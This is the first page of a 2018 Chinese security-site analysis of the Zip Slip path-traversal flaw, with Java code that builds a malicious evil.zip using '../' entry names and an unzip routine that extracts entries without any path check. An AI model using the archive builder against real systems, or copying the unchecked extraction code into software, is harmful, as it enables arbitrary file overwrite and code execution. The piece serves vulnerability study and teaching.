欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Zip Slip任意文件覆盖漏洞分析

来源:本站整理 作者:佚名 时间:2018-08-17 TAG: 我要投稿

Zip Slip是一个广泛存在的任意文件覆盖漏洞,通常会导致远程命令执行。
该漏洞影响范围极大:
1.受影响的产品:惠普、Amazon、apache、Pivotal等;
2.受影响的编程语言:JavaScript、Python、Ruby、.NET、Go、Groovy等;
3.受影响的压缩文件类型:tar、jar、war、cpio、apk、rar、7z等。
zip slip漏洞其实也是目录遍历的一种,通过应用程序解压恶意的压缩文件来进行攻击。恶意攻击者通过构造一个压缩文件条目中带有../的压缩文件,上传后交给应用程序进行解压,由于程序解压时没有对文件名进行合法性的校验,而是直接将文件名拼接在待解压目录后面,导致可以将文件解压到正常解压缩路径之外并覆盖可执行文件,从而等待系统或用户调用他们实现代码执行(也可能是覆盖配置文件或其他敏感文件)。
目前只要是使用存在Zip Slip漏洞的库,且没有进行目录遍历验证的程序或直接包含易受攻击代码的程序都将受此漏洞影响。如下是受影响的库:

也可以直接查看GitHub项目:https://github.com/snyk/zip-slip-vulnerability
接下来通过java代码对zip slip漏洞进行复现:
如下图所示,主目录zip_slip下有test和test1两个文件夹,test文件夹下是一个恶意的zip压缩文件,test1是test.txt文件,如果应用程序对该恶意zip压缩文件进行解压后会覆盖test1下的test.txt(该test.txt中内容是good!!)文件,说明该应用程序存在zip slip漏洞。


由于windows上不能直接构造带有../条目的压缩文件,所以需要使用程序来构造evil.zip这样的恶意压缩包。

利用如下程序对test.txt(实际场景中该txt文件是恶意代码,用于覆盖)进行压缩为evil.zip
public class Enzip {public static void main(String[] args) {// TODO Auto-generated method stub //第一个参数是需要压缩的源路径;第二个参数是压缩文件的目的路径,这边需要将压缩的文件名字加上去 compress("C:/Users/DELL/Desktop/zip_slip/test/test.txt","C:/Users/DELL/Desktop/zip_slip/test/evil.zip"); }/** * 压缩文件 * @param srcFilePath 压缩源路径 * @param destFilePath 压缩目的路径 */ public static void compress(String srcFilePath, String destFilePath) {        File src = new File(srcFilePath); if (!src.exists()) {throw new RuntimeException(srcFilePath + "不存在"); }        File zipFile = new File(destFilePath); try {            FileOutputStream fos = new FileOutputStream(zipFile); ZipOutputStream zos = new ZipOutputStream(fos); String baseDir = "../test1/"; compressFile(src, zos, baseDir); //compressbyType(src, zos, baseDir); zos.close(); } catch (Exception e) {// TODO Auto-generated catch block e.printStackTrace(); }    }/** * 按照原路径的类型就行压缩。文件路径直接把文件压缩, * @param src * @param zos * @param baseDir */ private static void compressbyType(File src, ZipOutputStream zos,String baseDir) {if (!src.exists())return; System.out.println("压缩路径" + baseDir + src.getName()); compressFile(src, zos, baseDir); }/** * 压缩文件 */ private static void compressFile(File file, ZipOutputStream zos,String baseDir) {if (!file.exists())return; try {            BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file)); ZipEntry entry = new ZipEntry(baseDir + file.getName()); zos.putNextEntry(entry); int count; byte[] buf = new byte[1024]; while ((count = bis.read(buf)) != -1) {                zos.write(buf, 0, count); }            bis.close(); } catch (Exception e) {// TODO: handle exception }    }}
由于java中用于解压的方法很多,仅选取其中两个具有代表性的进行研究
ant-1.7.0.jar(直接包含易受攻击代码)
public class Unzip {public static void main(String[] args) throws IOException {//解压zip的包 String fileAddress = "C:/Users/DELL/Desktop/zip_slip/test/evil.zip"; //zip文件解压路径 String unZipAddress = "C:/Users/DELL/Desktop/zip_slip/test/"; //去目录下寻找文件 File file = new File(fileAddress); ZipFile zipFile = null; try {            zipFile = new ZipFile(file,"GBK");//设置编码格式 } catch (IOException exception) {            exception.printStackTrace(); System.out.println("解压文件不存在!"); }        Enumeration e = zipFile.getEntries(); while(e.hasMoreElements()) {            ZipEntry zipEntry = (ZipEntry)e.nextElement(); System.out.println(zipEntry.getName()); File f = new File(unZipAddress + zipEntry.getName()); f.getParentFile().mkdirs(); f.createNewFile(); InputStream is = zipFile.getInputStream(zipEntry); FileOutputStream fos = new FileOutputStream(f); int length = 0; byte[] b = new byte[1024]; while((length=is.read(b, 0, 1024))!=-1) {                    fos.write(b, 0, length); }                is.close(); fos.close(); }if (zipFile != null) {            zipFile.close(); }//file.deleteOnExit(); }}

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载